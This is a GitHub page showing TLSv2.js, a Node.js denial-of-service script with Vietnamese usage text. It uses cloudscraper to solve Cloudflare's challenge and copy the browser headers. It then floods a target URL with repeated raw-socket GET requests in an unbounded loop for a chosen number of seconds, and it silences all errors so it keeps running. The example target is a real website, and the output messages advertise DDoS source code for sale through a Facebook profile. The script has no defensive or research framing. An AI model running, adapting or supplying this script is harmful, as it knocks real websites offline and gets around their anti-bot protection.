-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathTLSv2.js
89 lines (77 loc) · 2.45 KB
/
TLSv2.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
require('events').EventEmitter.defaultMaxListeners = 0;
const CloudScraper = require('cloudscraper'),
path = require('path'),
url = require('url');
if (process.argv.length !== 5) {
console.log(`
Cách Dùng : node ${path.basename(__filename)} <url> <time> <req_per_ip>
Ví dụ : node ${path.basename(__filename)} https://pornhub.com 60 150`);
process.exit(0);
}
const target = process.argv[2],
time = process.argv[3],
req_per_ip = process.argv[4],
host = url.parse(target).host;
let getHeaders = function () {
return new Promise(function (resolve, reject) {
CloudScraper.get({
uri: target,
resolveWithFullResponse: true,
challengesToSolve: 1
}, function (error, response) {
if (error) {
//If cloudscraper return an error will retry
console.log(`ERROR: ${error.message}, retrying the request.`);
return start();
}
let headers = '';
Object.keys(response.request.headers).forEach(function (i, e) {
//The following headers might break the request
if (['content-length', 'Upgrade-Insecure-Requests', 'Accept-Encoding'].includes(i)) {
return;
}
headers += i + ': ' + response.request.headers[i] + '\r\n';
});
console.log(headers);
resolve(headers);
});
});
}
function send_req(headers) {
const net = require('net'),
client = new net.Socket();
client.connect(80, host);
client.setTimeout(10000);
for (let i = 0; i < req_per_ip; ++i) {
client.write(
`GET ${target} HTTP/1.1\r\n` +
headers + '\r\n\r\n'
)
}
client.on('data', function () {
setTimeout(function () {
client.destroy();
return delete client;
}, 5000);
});
}
let init = function () {
getHeaders().then(function (result) {
console.log('Attack Sent ! Cam On Vi Da Su Dung Cua ManhDuc');
setInterval(() => {
send_req(result);
});
});
};
setTimeout(() => {
console.log('Attack End | Mua Source DDoS Ib facebook.com/profile.php?id=100086525015176');
process.exit(0)
}, time * 1000);
init();
// to avoid errors
process.on('uncaughtException', function (err) {
// console.log(err);
});
process.on('unhandledRejection', function (err) {
// console.log(err);
});